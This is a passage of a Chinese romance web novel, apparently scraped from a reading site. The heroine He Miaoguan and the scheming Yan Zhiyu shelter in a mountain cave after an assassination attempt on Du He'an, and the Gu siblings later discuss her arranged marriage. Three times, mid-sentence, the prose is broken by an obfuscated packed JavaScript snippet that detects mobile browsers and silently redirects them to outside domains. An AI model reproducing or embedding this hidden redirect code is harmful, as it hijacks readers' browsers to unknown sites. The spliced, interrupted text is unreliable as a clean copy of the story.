头很疼,脸颊也烫得厉害,想来是淋雨加落水,发起高热。但幸好身上的衣物是干燥温暖的。她身上的襦裙外面松松罩着燕之郁那件宝蓝色的外袍。是以燕之郁自己,只穿着一件单薄的白色中衣,领口微敞,白皙的锁骨胸膛一览无余。 远处是燃烧着的柴火堆,发出劈里啪啦的声响。 “妙观,你昏迷了好久。我担心你受凉,便生火将你的衣服烘干。”他伸手探探她的额头,眉头紧锁,“还是好烫。妙观再睡会罢。” “嗯。”何妙观闭上眼,将发烫的额头抵在他微凉的颈窝,双手环住他的肩膀,试图汲取一点凉意。少年身体明显僵了一瞬,像是有些不可思议。 “燕之郁。” “嗯?” “以后不要做这种傻事。”何妙观轻声叹道,“你明明能好好活着,非要跳下来。要是下面没有水,你岂不是也要白白死掉。” 燕之郁低低“嗯”了一声,目光落在女郎因高热而潮红的脸上,眼神复杂。 “妙观,你呢?”他轻声反问,嗓音带着不易察觉的涩意,“因为杜兄,你也差点死掉。” “杜兄对你来说,就这般重要?你很喜欢他么?” 何妙观摇摇头,认真道:“我没有喜欢他。倘若是你遭遇这样的变故,我也会这样。”说罢,有些无奈地又补一句,“燕之郁,你不要乱吃醋。” 燕之郁微微一怔,随即道:“这怎么算乱吃醋……妙观,我不明白,你怎么能把别人的生命置于自己之上?明明他和你相识不过一个多月,你怎么、怎么能……” 何妙观打起精神,睁开眼,认真讲理道:“我当时想,我再拉他一把,或许我们都还有一线生机,若是我什么都不做,那杜公子只会必死无疑。两相权衡,自然应当就他。” 他极轻地笑了一声,手臂收紧,将她更深地拥入怀中,下颌轻轻贴着她滚烫的额角。何妙观不适地挣动一下,有点难为情地低骂道:“唔……你这么突然干什么。” “我在想,”燕之郁的嗓音带着笑意,响在她耳边,“妙观果然是世上最好的女郎。” 并非是为杜鹤安才这样,并非是杜家的人,使他心情大好。 “……你又这样夸张。”何妙观把脸埋在他胸口,隔着单薄的中衣,能清晰地听到他沉稳有力的心跳。 她忽然想起什么,抬起有些无力的手,轻轻在他脸颊上捏了一下,语气带着嗔怪:“燕之郁,都怪你当时来的这么晚。我让你去帮杜公子,你磨叽半天才来。我差点以为,差点以为你会去……真是的。” “妙观,另一个刺客可是我拼死引开的。”燕之郁换上委屈巴巴的语气。 何妙观转念一想,坠崖前攻击杜鹤安的,确实只剩下一人,这才支起身问道:“让我看看,你受伤没有?” “没有。” “哦?”她微微蹙眉,仰头看他,“你怎么脱身的?你不擅长打架吧?” “妙观,这里是静山。我十一岁便在这杀过人。你觉得我对付不了他么。”燕之郁有些得意,“那日顾徊打我,我不还手,只是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527829|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他是你的未婚夫而已。” 说罢,又从袖中滑出一柄短匕,塞进她手里,“喏,上面还有那个人的血,你要闻闻么?” “我才不要!”何妙观嫌恶地偏过头去。 “骗你的。”燕之郁含笑道,“其实我根本伤不了他。只是把他引至静山的一处石阵里,他绕出来,估计要好久。” 何妙观忍不住又捶他一下,这人嘴里真是没一句实话。她无力地靠在他怀中,额间滚烫,只能借由他衣襟间透出的微凉体温汲取片刻舒缓。 燕之郁抬手轻轻抚摸着她的后背。寂静中,他再度开口道:“妙观,我们私奔吧。” “……”何妙观微微一颤,抬眼看他,昏暗中对上他认真异常的目光。 “妙观,上次我是玩笑话,这次却是认真的。”他低下头,呼吸相闻,两人的鼻尖近乎要触碰到彼此,“那时我在担心你只是随口一说,并非真的喜欢我。但如今,你既说愿意为我涉险,那我们私奔好不好。” “不好。”何妙观摇头,避开他的注视,“燕郎君,你不要再提这件事。我的回答是不会变的。” 燕之郁低低应了一声,不再言语,只是静静地看着她。 心中繁复的疑虑如同藤蔓,缠绕心头。 他此刻之所以提出这样的请求,并非因为真的情深意重。他的确对她心生情愫,会因为女郎的一颦一笑心旌动摇,但终究未及生同衾、死同穴的地步。但是他觉得,他今生不会再遇到这样好的女郎,便只好先一步想办法让她留在身边。 毕竟,这世上能得到她温柔的人并不少。 他、已故的伶人穆莲、竹马顾徊,还有如今的杜鹤安。 那日顾徊刻薄的话语,再次浮现在耳边:“妙观自小到大都心善,就算是遇到丧家犬,也会带回家养。燕之郁,你把怜悯当作喜欢,真是可怜。” 可若只是怜悯,怎会做到如此地步?愿意为他跳下悬崖? 然而她本性善良,为救一个怜悯之人而拼命,似乎也说得通。 种种思绪,纷乱复杂,他越来越难看不懂她。 但他唯一清楚的是,人的情谊自有亲疏厚薄。他忽然想知道,在她垂怜过的人里面,他到底能排到哪。 穆莲已死,他无从得知他们的相处恩爱。但十五岁的女郎,愿意顶着世俗的目光替他赎身,那份量必然极重。 顾徊与她有总角之情。虽说顾徊刚回来时,她的态度冷淡;但根据清泉后来的禀报,两人每次谈天都言笑晏晏。 杜鹤安是她曾表达过欣赏的人,如今她甚至愿以命相护,地位自然也不言而喻。 至于他自己…… 何妙观愿意将他带回何府,似乎也不差。 可她不愿与他远走高飞,这是否意味着,他在她心中的分量,连顾徊也不及? 顾徊此人毫无魅力,而他又比不上顾徊,这样看来,他竟然却是在最末端而已。 燕之郁不由咬咬牙,郁闷道:“妙观,为什么一定得是顾公子呢?妙观,你很喜欢他?” “我上次说过的。”何妙观闭上眼,不愿看他。 她那时说,她不愿吃苦,要锦衣玉食,要安稳富贵。这理由天经地义,他全然理解。 “倘若……”他喉结滚动,一句话不受控制地滑出唇边,“倘若有比顾徊家世更好、更值得托付的人,比如杜兄,他想要和你提亲,你会考虑么?” 何妙观猛地睁开眼,难以置信地望向他。 30.三十 何妙观一时有些恍惚,不由怀疑发热的到底是自己,还是燕之郁。 “燕之郁,你胡说什么?杜公子他有心仪的人。” “我知道,只是打个比方。”燕之郁将她搂得更紧些,下巴轻蹭着她的发顶,声音低柔,“你那时说你不愿意吃苦受累,那若有家世更好、品貌更佳的公子求娶,你是否便会应允?” “不会。” 看来非得是顾徊不可。 燕之郁不解地想着。 除却出身江州顾氏,是今科探花郎之外,顾徊的样貌、家世、品行,也算不得出色,为何就非要和他成亲不可。 他微微屈身,用微凉的脸颊轻轻贴上她滚烫的额头,不解道:“妙观,我不明白。你明明不喜欢他,为何定要嫁给他?可是有人逼迫你么?” “没有。”何妙观受不住他的追问,别开脸,“哎呀,我好困,你让我睡一会吧……” “好……”他不再追问,只是静静拥着她。 待怀中人呼吸渐匀,他端详着她烧得通红的面颊,从袖中取出一个细颈瓷瓶,倒出一粒丸药,小心地喂入她口中。 洞外山雨早已停歇,月上中天,清辉透过枝叶缝隙,在洞口洒下斑驳光影。周遭寂静,洞内唯有柴火燃烧时偶尔发出的噼啪轻响。 一阵极轻的脚步声由远及近。 燕之郁抬起眼。远处,杜鹤安提着一个灰乎乎的东西走了进来。青年的衣袍下摆沾满泥泞,发丝散乱,面容疲惫,但一举一动仍旧保持着世家公子的矜贵仪态。 “杜兄,你可有找到下山的路?”燕之郁问。 “尚未。”杜鹤安内疚地摇摇头,“今日是鹤安连累燕兄和何小姐。燕兄,何小姐还好么?” 他走近蹲下,关切地看向昏睡的何妙观。 “嗯。妙观中途醒过一次,还问起杜兄的去向。”燕之郁平淡地答道。 “鹤安以往因为流言蜚语对何小姐心存偏见,今日方知,日久方能见人心。”杜鹤安愈说愈是惭愧,漂亮的凤眼低垂下去,“都因为鹤安,才累得二位身陷险境……日后二位若有所需,鹤安定当竭尽全力。” 燕之郁静静打量着他。年少时,杜澹庵每和他提起这位杜氏长子,眼中总流露出欣赏之色,说杜鹤安同他不一样,日后一定能成为北梁为国为民的好官。 片刻,燕之郁缓声问道:“杜兄遭此变故,可是得罪了什么人?” 杜鹤安沉思片刻,叹道:“鹤安原本在长安任大理寺寺正,因面刺圣上,才被贬至此。但这些刺客应当不是圣上派来的。圣上若对鹤安不满,大可不必行此龌龊手段。” “鹤安最疑心的,是当今长公主,李莜。” 燕之郁点点头,装作惊讶的样子:“杜兄你是怎么惹到长公主的?” “这件事说来话长。” 杜鹤安将如何上奏说长公主特权不合理、如何触怒龙颜的前因后果细细道来。听完后,燕之郁微微扬唇,道:“杜兄如此刚正不阿,朝廷能有杜兄这般的人,当真是荣幸。” 杜鹤安不好意思地笑笑,转而问道:“鹤安听闻燕兄也有入朝为官的想法。燕兄可有什么感兴趣的门类,鹤安若是有熟知的人,可以帮忙引荐。” 燕之郁唇角微扬,掠过一丝似嘲似谑的笑意,道:“不瞒杜兄,其实郁对做官没什么太大兴致,只是顺着妙观的心意而已。” 杜鹤安闻言,若有所思地点点头。他早已看出二人关系非同一般,并非一般大户人家的小姐和门客的关系。他不由回想起睁开眼时,发现是燕之郁将他们从寒潭里救出来的错愕心情。 “哦,燕兄,这是鹤安方才寻到的野兔。”杜鹤安回过神,提起手中的兔子,“可以垫垫肚子。” 说罢,他撩袍在火堆旁坐下,取出匕首,动作利落地将野兔剥皮清理干净,又用削好的树枝穿好,放在柴火上翻烤。 不过片刻,洞内便弥漫起一阵肉香。 杜鹤安尝了一小口,缺盐少料,滋味寡淡,但尚可入口。他将烤好的兔肉仔细切块,用洗净的芭蕉叶盛好,抬眼看向燕之郁,轻声询问:“燕兄,可要唤何小姐起来吃点?” “好。”燕之郁应着,轻晃何妙观的肩膀,“妙观,饿不饿?” 何妙观睁开眼,朦胧中见洞穴里多了杜鹤安的身影,顿时清醒过来,下意识地从燕之郁怀里挣开。 折腾大半日,何妙观早已饥肠辘辘,此刻只觉得那烤兔肉香气扑鼻。她小口咀嚼着,忍不住赞叹道:“杜公子,这是你烤的呀?尝起来味道真好。” “嗯。”杜鹤安有些腼腆地点点头,“何小姐,今日、今日多谢你舍命相救。若非何小姐施以援手,鹤安恐怕早已死了不知多少回……” 先是扑开刺客致命一击,后又于崖边死死拉住自己,单是一件,他已没齿难忘,而两件…… 杜鹤安思忖何家不差钱,送金银珠玉作谢礼既俗气、又看不起人,但一时又想不出更好的,只得先站起身,郑重其事地行了一个大礼,认认真真道:“何小姐的恩情,鹤安没齿难忘。” 正嚼着肉的何妙观被他这突如其来的大礼惊住,连忙摆手,含糊道:“没事、没事、起来吧,杜公子,你不必如此的。” 杜鹤安还是执意拜完才作罢。 用过食物,何妙观觉得发热缓解不少,但浑身依旧酸软无力,靠在石壁上。 石壁冰冷坚硬,实在没有躺在人怀里舒服。 燕之郁看出她的不适,在她身旁坐下,侧过头,低声问道:“妙观,要不要还是靠着我?” 何妙观抬眼看他,又飞快地瞟了一眼不远处的杜鹤安,脸颊微热。 杜鹤安后知后觉地意识到自己在此多有不便,连忙起身,局促道:“鹤安、鹤安出去走走,消消食。” 燕之郁满意地扬起唇,敷衍着道:“山路湿滑,杜兄小心点。” 待杜鹤安的身影消失在洞口夜色中,燕之郁便自然而然地将她揽过,让她侧坐在自己腿上。女郎身子很轻,抱在怀里像拥着一团柔软的云絮。 在长安时,他虽见惯其他世家公子的风月之事,但难以理解男女间这般黏腻的姿态有何意趣,只觉得费解。 可此刻却食髓知味。他低下头,轻嗅着她发间淡淡的香气,下颌虚抵着她的发顶,柔声道:“妙观,这样好点么。” 何妙观轻轻“嗯”了一声。少年的怀抱温暖而安稳,他身上清冽的栀子混合着雨水的气息,让人心安。何妙观倚靠在他的怀里,不由地放松下来,她调整了一下姿势,将脸颊更舒适地贴在他颈窝处,意识随着疲惫变得昏沉。 “燕郎君,你不困么?”何妙观含含糊糊地问道。温热的呼吸像羽毛轻轻搔刮着他的耳廓,引起细微的战栗。 燕之郁喉结微动,低声道:“不困。妙观,你睡吧。” “哦……”何妙观含糊应着,眼睫缓缓阖上。就在即将沉入梦乡之际,她又迷迷糊糊地抱怨道:“你能不能把腰带换个位置?它硌着我好难受。” “好。” 燕之郁下意识地应声,伸手探向腰间,动作却猛地顿住。 他的外袍早已脱下给她披上,中衣之外,并未系腰带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537809|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 短暂的沉默后,燕之郁浑身僵硬,后知后觉地明白硌人的是什么。 食色性也,本是人之常情。可意识到自己此时对待一个病人竟生出如此直白的反应,一股难以言喻的燥热和羞惭涌上耳根。 他极小幅度地调整了一下坐姿,试图掩饰那处不容忽视的变化,问道:“妙观,这样好点么?” 回应他的,只有均匀绵长的呼吸声。 女郎眼睫低垂,呼吸匀称,已然入睡。远处遥远的火光映在她清丽的脸上,显得容貌柔和,温柔而缱绻。燕之郁看到她红润的唇瓣,心下微动,但刚一抬手,便听到一阵脚步声。 原来是雨势又起,杜鹤安去而复返。 燕之郁垂下眼睫,掩去眸中的烦躁。 杜鹤安看他一眼,微微颔首,默契地没有出声,轻手轻脚地在离火堆稍远些的地方屈膝坐下,也疲惫地靠在石壁上。 洞内一时寂静,唯有柴火燃烧时发出的噼啪轻响,和洞外淅淅沥沥的落雨声。 燕之郁的目光落在跳跃的火苗上,平淡道:“杜兄可听过慕容衍的故事?” “听过的。” 慕容衍是前朝末年最为权势滔天的藩王。因为没有子嗣,时常忧心基业为人所夺。 四十岁时,慕容衍密请最著名的南宫相士入府,为他卜算。 相士断言他命中有一大劫,谓之“星犯帝座”。这一劫将应验于与他同乡的初生婴孩身上,这个婴孩长成之日,便是慕容衍基业倾覆之时。 慕容衍忙问相士此子何在,得知他是下属新生的婴孩后,便唤死士潜入下属家中,要求杀死此子。不想死士临阵不忍,将婴孩弃于百里外的清风观,谎报已死。 二十年后,慕容衍年迈昏聩,治下苛政如虎,民怨沸腾。果真有一支义军揭竿而起,首领正是当年那孩子,一位用兵如神的年轻道士。 “倘若杜兄是慕容衍,”燕之郁侧过头,火光在他漆黑的眸中明明灭灭,“会亲手杀死这个婴孩么?” “自然不会。稚子何辜,鹤安断不会伤及无辜性命。”杜鹤安不假思索。 燕之郁笑笑,追问道:“即便他二十年后会取杜兄的性命,杀害杜兄的亲族,杜兄也甘愿坐以待毙?” 他盯着青年的面孔,想看他脸上是否会闪过一丝犹疑。 然而片刻后,杜鹤安仍是坚持道:“婴孩终究无辜。若真到那时,鹤安自会严加防范,但绝不会因此预先夺去一条无辜生命。” 燕之郁闻言,不由眼睫弯起,轻笑出声。笑意在跃动的火光中漾开,衬得本就秾丽光艳的脸庞愈发妖冶,仿若暗夜里骤然绽放的优昙。 “燕兄为何忽然问起这个?”杜鹤安有些困惑。 “不久前郁拜见徐侍郎时,徐侍郎便问了郁这件事。”燕之郁唇角噙笑,语气寻常,“徐侍郎说,若换作是他,便是掘地三尺,也定要将那婴孩诛杀,以绝后患。” “他、他竟这样?”杜鹤安微讶出声。 他在长安和这位徐侍郎并无深交,只知此人年少登科,二甲及第后便投入当时还是赵王的李循门下成为幕僚。李循登基后,对他宠爱无度,不过一年,便将其从区区校书郎提拔为中书侍郎。 虽说此人言行怪异,但在朝为官也未曾逾矩,杜鹤安对他谈不上喜恶。但今日才知,他竟是如此狠戾之人,心中不由有点难言的情绪。 “燕兄当时是如何作答的?”杜鹤安问。 燕之郁静静地看着他,莞尔道:“杜兄,稚子何辜。” “郁自然也不愿夺取他人性命。” 31.三十一 静山。 雨后的清晨,雾气氤氲,远山如黛。远处蜿蜒的山路上,渐渐出现一队人影。 正是扬州官府和何家的人。 何徵身着常服,官靴沾满泥点,神色焦灼。直到看见自家闺女安然无恙,紧绷的神情才松弛下来,眼眶瞬间泛起红色:“囡囡,囡囡啊,让阿父好好瞧瞧……”他双手微颤,拉着何妙观上下打量,声音哽咽,“阿父还以为再也看不到囡囡……” 何徵差点以为,是多年前那位算命先生的卜算显现,何妙观当真要活不过十七岁。 何妙观被他的情绪感染,鼻尖发酸,眼中也泛起水光。但她又觉在众人面前落泪有些难为情,悄悄低下头,轻声道:“阿父,我没事的。” 待何徵问过杜鹤安的情况,一行人返回何府。府门前早已聚满了人,陈寄柔、何宝珠、阿葵、阿菁等见她下车,纷纷围上来抹泪查看。直到陈郎中诊完脉,确认她只是受惊体虚,并无大碍,众人才陆续散去,留她静养。 饮下安神补汤后,何妙观足足睡了两日。第三日醒来,精神稍复,阿葵一边伺候她梳洗,一边又忍不住问起她在静山的经历。 听她讲完遇险经过,阿葵的眼泪又落下来:“小姐,您不知道,那天回来只有那三人时我们多忧心……呜呜呜,奴婢还以为会再也见不到小姐……” 何妙观安抚她一番后,忽想起杜鹤安的侍卫衡玉。 “衡玉他怎么样?” 阿葵道,衡玉受伤最重,回来时便已经昏迷不信,幸好有陈朗中妙手回春,但如今他虽然性命无忧,可眼睛依旧没有恢复。 “陈郎中可说过他中的是什么毒?” 阿葵道:“陈郎中说,是一种名叫观音泪的毒。这种毒据说失传很久,只能在长安宫内才能弄到,所以……何刺史说,官府里的人或许不会再深查这次的行刺……” 言下之意是,何徵认为杜鹤安遇刺,同长安党争相关,扬州府不便插手。 何妙观也觉得这次杜鹤安遇刺并不简单。杜鹤安是为解梦而去,并非公务,知情者甚少,但刺客却能够精准伏击,想来是在杜鹤安身边埋有暗桩。 如是看来,应当是某位身处长安,却对杜鹤安无比熟悉的人做的局。 正思忖间,阿菁过来禀报说杜鹤安想要见她。 杜鹤安是特来送礼道谢的。 青年将一锦盒置于案上,郑重道谢。何妙观顺势问:“杜公子,你可有什么怀疑的人?” 杜鹤安沉吟片刻,如实道:“鹤安最疑心的,是长公主李莜。” 他简略提及在长安得罪长公主一事。见何妙观眉间疑惑,便问:“何小姐可是有什么不解?” 何妙观自然极是不解。原书里,杜鹤安后期是联合长公主一起才斗倒燕之郁的。长公主还对他流露出爱慕之意,怎会对杜鹤安下手。 但这些心思自然不足对外人道。何妙观便按下心中波澜,嘱托他日后多加小心。二人叙话片刻,杜鹤安方才告辞。 等到傍晚,顾家兄妹来探望她。顾蕙仙一进门便扑到榻边,抱着她,泪珠簌簌道:“妙观,我还以为、还以为再也见不到你……呜呜,要是你有什么差池,我、我也不想活呜呜……” “我这不是没事么。”何妙观轻拍她的背,无奈笑道,“蕙仙,你别说这种傻话,没有谁是离了谁是活不下去的。” 顾徊将带来的补品交给婢女,坐下后温声问起遇袭详情。 何徵对外宣称是他们遭遇山匪,但静山匪患两年前便已肃清,他们自然是不信的。 何妙观只得将经过简略道来。顾蕙仙听罢嗔道:“妙观,你怎么能为杜鹤安涉险呢?你以后不许这样!” 顾徊知道这是她的任务,并未多言,只是神色有些复杂。 顾蕙仙嘟嘟囔囔骂了杜鹤安一会,话题又转到不久前周扶摇的茶会上,气鼓鼓道:“妙观,你不知道,那个什么端阳郡主的品茶会真是好无聊,明明喝个茶而已,还要飞花令写诗…… “我说不擅长写诗,郡主非让我写,我写完,她竟还当着大家的面读我写的诗,这分明是在嘲笑我……”说到这里,顾蕙仙气得咬着唇,“若不是在她府上,我绝对不会放过她。” 何妙观替她理好鬓发,柔声道:“那这样,以后郡主再邀你,你便不去,我们不受这个委屈。” 顾蕙仙撇撇嘴,道:“我以后也要在家办一个宴会,让郡主过来,不比写诗,专门比投壶射箭,谁怕谁啊。” 顾徊忍不住轻笑出声:“人家毕竟是郡主,你且让着她些。若她向国公哭诉,阿父肯定又要来责怪我们不懂事。” “阿兄,她是郡主,我还是顾家的大小姐呢!”顾蕙仙气得拧他一下,“这北梁国的郡主这么多,可顾家只有一个!” “是是是!大小姐。”何妙观莞尔,连连点头道,“下回大小姐你和郡主比投壶,我和顾徊定在一旁给大小姐摇旗助威。” 三人言笑正欢。阿葵进来,在何妙观耳边低语一句,说燕之郁想来看望她。 何妙观当然不愿燕之郁和顾家兄妹碰面。猜都能猜到顾徊和燕之郁见面,会有多尴尬。 “阿葵,你让他先回去吧。”何妙观轻声道。 听到这话,顾家兄妹立刻猜到来者何人,表情都有些不悦。 阿葵一走,顾蕙仙立马倚在她肩头,问道:“妙观,你想不想做我嫂嫂啊?” “……啊?”何妙观被这直白问题惊住,瞥向顾徊,见他耳根泛红,同样窘迫。 “蕙仙!你先别在妙观面前说这些。”顾徊低声制止道。 “我偏要说。”顾蕙仙白他一眼,“阿兄,你一点都不努力,不知道怎么讨人欢心。你看看那个燕小郎君,八百个心眼子,上回我在醉仙楼见到他和妙观,哎哟,他那个小动作小眼神……” 有这么夸张吗? 何妙观有点讪然。 “蕙仙!”顾徊愈发无措。 “不争气的阿兄,快闭嘴吧。”顾蕙仙嫌弃地摆摆手,转而搂住何妙观,压低声音,仅容二人听闻,“妙观,你的那个小郎君确实比阿兄俊俏一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542938|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不若这样,你同阿兄成婚后,悄悄在外头养着他,我会帮你瞒着的。” “……啊?”何妙观再度愕然。 “啊什么?听说长安那边都这样。”顾蕙仙立刻摆出一副见多识广的模样,“昨日茶会上,我就听说当朝长公主就有不少面首,里面有温柔端庄的世家公子,也有蛮夷之地不懂礼数的小郎,哎,日子真是过得美滋滋的。” “呃……但我不是长公主啊。”何妙观一时无奈,“而且,我若是这般做,顾伯伯肯定不依的。” “扬州确实不如长安开放。”顾蕙仙唉声叹气起来,“妙观,当初你为穆莲赎身的事,放在长安必定算不上什么。我真不明白阿父为何总是芥蒂。若是男子为女子赎身,世人恐怕还要夸上一句情深意重。阿父却老是念叨这件事情,每次阿兄和他提你们的娃娃亲,他便挂着脸……呜呜,妙观,这样下去你何时才能成为我的嫂嫂啊……” 何妙观微微一怔,抬眼望向顾徊,见他神色慌张,目光闪躲,忽地明白前因后果。 顾徊之前说“顾家一切顺利,最迟明年便可提亲”等话,大概是假话。 “妙观……”顾徊低声开口,“当时我说那样的话,并不是想要欺瞒你。我、我一定会努力说服阿父,上门提亲的。” 顾蕙仙连忙附和道:“我也会帮着阿兄说服阿父的。” 何妙观轻轻应了一声“嗯”。直到戌时,兄妹二人才起身告辞。行至门口时,两人的脚步不约而同地顿住。 门外传来燕之郁含笑的嗓音:“顾公子,顾小姐,好巧。” 顾徊白他一眼,衣袖一拂,视若无睹地侧身绕过他,径直离去。 “确实巧呀,小郎君。”顾蕙仙不急着走,饶有兴致地搭上话,目光在他身上流转,“小郎君,你之前在哪家馆阁高就的?” “嗯?”燕之郁一时没能领会其意。 “阿兄是个榆木疙瘩,从未经历过情爱之事,根本学不会你那般玲珑心思。你教教我阿兄呗。”顾蕙仙看到他的脸,想起顾徊的不争气,言语之间不由带着刺。 燕之郁这才恍悟,语气温软道:“顾小姐说笑。我此前也没有这般经历。但我以为,只要用心揣摩,总能知晓妙观的喜好。顾公子或许是潜心诗书,未将心思放在这上头罢。” “原来是这样,还以为小郎君是此道行家,阅人无数,方才如此精通呢。” 顾蕙仙说着,打量起他的神色,见他眉眼含笑,连一丝愠色都无,不由有些佩服。 若是阿兄,被人这样说,早就气得眉毛鼻子乱飞,哪里还能保持这样漂亮从容的姿态。 哎!哎!哎! 阿兄与这人相比,简直是云泥之别,全无胜算! “顾小姐为何会这般想。”燕之郁垂下眼睫,一副被人刁难的表情,“妙观是这世上唯一真心待我之人。我自然将全副心思都放在妙观身上。” 顾蕙仙看着他这副情态,觉得再刁难下去让妙观听到,反倒会觉得自己不懂事,便道:“哦。那你真厉害,祝你得偿所愿吧。” 32.三十二 燕之郁甫一落座,何妙观就猜到他要说什么。 果不其然,少年纤长的眼睫低垂,俨然一副受尽委屈的模样:“妙观,顾家兄妹好似都很不喜欢我。” “我与他们相识多年,情谊深厚,你忽然插足进来,他们心里自然膈应。”何妙观轻拍他的肩以示安抚,“但你知道我喜欢你的,对不对?” “可是……”燕之郁抬眸望来,桃花眼里水光潋滟,“妙观,你同顾公子成亲后,我该怎么办?” 何妙观想起方才顾蕙仙附耳的低语,神色有点僵硬。 平心而论,顾徊相貌俊秀,性情温和,除却言行有点幼稚外,是极好相处的人。但她对他,确实没有半分男女之情。她之所以关照他,愿助他完成任务,只因他是学弟,是这个陌生的世界里唯一的故人。 等他任务结束,原书的“顾徊”回来,她当然会想办法和离。 但这些话不能告诉燕之郁。 “那到时候,我们便暂且分开一段时日。”何妙观斟酌着措辞,“若是我和他有什么不合,我们或许会和离的。等我和他和离后,我自然会再来找你。” “妙观,所以你们成亲之后,要和寻常夫妻一般相处么?”燕之郁问道。 “按理来说,是的。”何妙观感到有点尴尬,“但婚事……呃,谁也说不准。或许我们刚成亲便感觉不合,没过两日便想和离也未可知……” 何妙观说着说着,自己都觉得有些荒谬,险些失笑出声。 但是燕之郁笑不出来。 他实在是无法理解。 说来说去,就算是未来或许和离,何妙观也要和顾徊成婚。 顾徊真的有这么好么? 燕之郁咬着唇,鬼使神差道:“妙观,你同他成婚后,我若是想你,可以偷偷来找你么?” “……啊?”何妙观连忙摇头,“不可以的!” “为什么?”燕之郁凝眸深深望着她,眼底情绪翻涌,“我悄悄来找你,不会让别人发现的,那样也不可以么。” “对……不行的。”何妙观严肃地摇摇头,“那样是不对的。既是夫妻,若是他洁身自好,我也不能行差踏错。” “妙观,可为什么现在你又愿意同我亲近?”燕之郁追问道,“顾公子既是你的未婚夫婿,未婚难道就不是‘夫君’么?” 何妙观一时语塞,呆呆地看着少年困惑的面容,半晌,犹豫着问道:“燕之郁,你的意思是,我们现在不应该见面吗?” 燕之郁微微一愣,接着连忙否认道:“妙观,我的意思是,你不要同他成婚。顾徊配不上你。当然,我并非要你与我私奔,你值得更好的郎君,譬如……” 何妙观心下一惊,生怕他又脱口说出“杜鹤安”三字,连忙伸手捂住他的唇。 燕之郁怔住,漂亮的黑眸睁得更大,满是疑惑地望着她,一动不动。 绕来绕去,又绕到原本的话题上。 何妙观觉得,今日若是再没有一个理由说服他,他迟早会来问一遍又一遍。 事已至此,她决定撒一个无伤大雅的小谎。想到燕之郁相信花灯鬼神之事,应当是一个迷信的人,何妙观便打算用迷信来说服他。她深吸一口气,露出无奈的神色:“燕郎君,既然你这么好奇为什么我没有很喜欢顾徊,但却非他不可,那我便如实告诉你原由。” “我从小身子羸弱,所以阿父和阿娘一直很宠爱我,生怕我受什么伤。” “阿娘深信命理,一心要寻一位八字能与我相合、助我康健的郎君。顾徊的生辰八字与我最是相旺,能助我度过命中一大劫数。而我们两家又恰好是世交,门当户对,这才定下婚约。” “如今,顾家伯父伯母对我不甚满意,是顾徊和蕙仙念着我们小时候的情谊,才坚持要同我成婚。” 说完后,何妙观垂下眼睫,不好意思看他。 燕之郁良久没有说话。 这番解释,于他看来合情合理。毕竟,陆黎确实卜算过,何妙观十七岁会有死劫。 他心中五味杂陈,不知是喜是忧。片刻后,淡淡道:“既然性命攸关,那妙观确实应该和顾公子成婚。但妙观,你方才说的‘和离’又是什么?” “啊?” “妙观,你既然是因为八字相合而嫁顾公子,那此生岂不是要同他绑在一处,不能再分离。”燕之郁认真地分析着,“否则,若是和离,那个劫数是否还会影响你。” 何妙观顿时语塞。 刚才的一番说辞已是绞尽脑汁杜撰的结果,但万没想到,还有逻辑上的漏洞。 她正想着该如何圆谎,燕之郁又轻叹一声,苦笑道:“妙观,你是为了哄我,才说未来或许会和离的吧。” “燕郎君……” 见他眼底倏地暗下去,何妙观心头一软,忙张开手臂将他揽进怀里。少年顺势偎过来,下巴轻轻搁在她肩头,抬手环住她的腰,软软将重量交托于她。 他早该料到的,他只是她成婚前的消遣而已。 不过幸好,他也只是逢场作戏,既未动真心,又何必在意往后种种。 燕之郁缓缓垂下眼睫,轻声道:“妙观,再过三个月,便是你的生辰吧。” 何妙观微微一愣,随即意识到燕之郁所说的生辰,应当是指原主二月份的生日。 “对呀。”何妙观微微颔首,“燕郎君,你是想给我准备礼物吗?” “嗯。但还有一件事……”燕之郁仰起脸,温声道,“这段日子,妙观,你多当心些。” “啊?”何妙观没听懂。 “我昨日梦见你出事,很担心你。”他惦记着陆黎的占卜,声音愈发柔软,整个人要嵌进她怀里似的,“所以,这些日子,多同我待在一处吧。” == 另一厢房内,青年赤着上身坐在凳上,高挑的女郎正为他换着药。 “嘶——痛痛痛!” “清池,你轻点!真的好痛!” “呜呜呜,求你轻一点,清池!” 清泉疼得龇牙咧嘴,眼泪鼻涕一起流下来。 清池无奈地停下手中的动作,道:“清泉,你多大?怎么还和个小孩一样?” 清泉委屈地撇撇嘴:“清池,你不知道公子有多过分!他下次没做好决定,能不能就别让我贸然出手……呜呜呜,那个杜鹤安,怎么这么能打……” 